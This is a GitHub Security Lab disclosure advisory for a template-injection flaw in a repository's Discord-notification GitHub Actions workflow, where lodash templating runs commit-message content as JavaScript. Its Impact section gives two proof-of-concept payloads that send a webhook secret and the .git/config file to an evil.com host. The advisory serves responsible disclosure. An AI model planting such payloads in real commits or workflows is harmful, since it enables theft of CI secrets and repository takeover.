Coordinated Disclosure Timeline
- 2020-12-04: Issue reported to maintainers
- 2021-01-22: Report receipt acknowledged
- 2021-01-23: Issue fixed
Summary
The ‘on-push-master-notify-discord.yml’ GitHub workflow is vulnerable to template injection.
Product
geek-cookbook/geek-cookbook GitHub repository
Tested Version
The latest changeset to the date 7693133.
Details
Issue: A commit comment is used to format a Discord message
on:
push:
...
steps:
- name: Discord notification
env:
DISCORD_WEBHOOK: ${{ secrets.DISCORD_WEBHOOK }}
uses: Ilshidur/action-discord@master
with:
args: |
Greetings, geeks! 🤓
The [Geek's Cookbook](https://geek-cookbook.funkypenguin.co.nz) has been updated!
Here's what's fresh:
:cupcake: [${{github.event.commits[0].message}}]({{ EVENT_PAYLOAD.compare }})
The ${{github.event.commits[0].message}}
, used here, allows for injection of arbitrary markdown into the Discord message. However this is not all.
The Discord action supports interpolation syntax for environment variables. There are examples of intended usage in the documentation such as The project {{ EVENT_PAYLOAD.repository.full_name }} has been deployed
. The interpolation is implemented in a way that the expressions may be interpreted as javascript:
const _ = require('lodash');
...
const message = _.template(args)({ ...process.env, EVENT_PAYLOAD: JSON.parse(eventContent) });
An attacker may create a specially crafted commit description and make a valid pull request, that will get merged. It is likely that the reviewer will not notice it, especially if there are multiple commits in the PR.
Impact
This vulnerability allows for arbitrary code execution in the context of a GitHub runner. The following payload would exfiltrate the secret DISCORD_WEBHOOK to an attacker-controlled server. This would give the attacker full control over the Discord message hook.
{{ process.mainModule.require('http').get(`http://evil.com?t=${DISCORD_WEBHOOK}`) }}
While the workflow is using only one secret, the injection may get much more severe if the workflow gets more complex. For example, if a checkout action is used without persist-credentials
set to false
an attacker could get write access to the repository with the payload below:
{{ process.mainModule.require('http').get('http://evil.com?t='+process.mainModule.require('fs').readFileSync('./.git/config').toString('base64')) }}
Credit
This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2020-323
in any communication regarding this issue.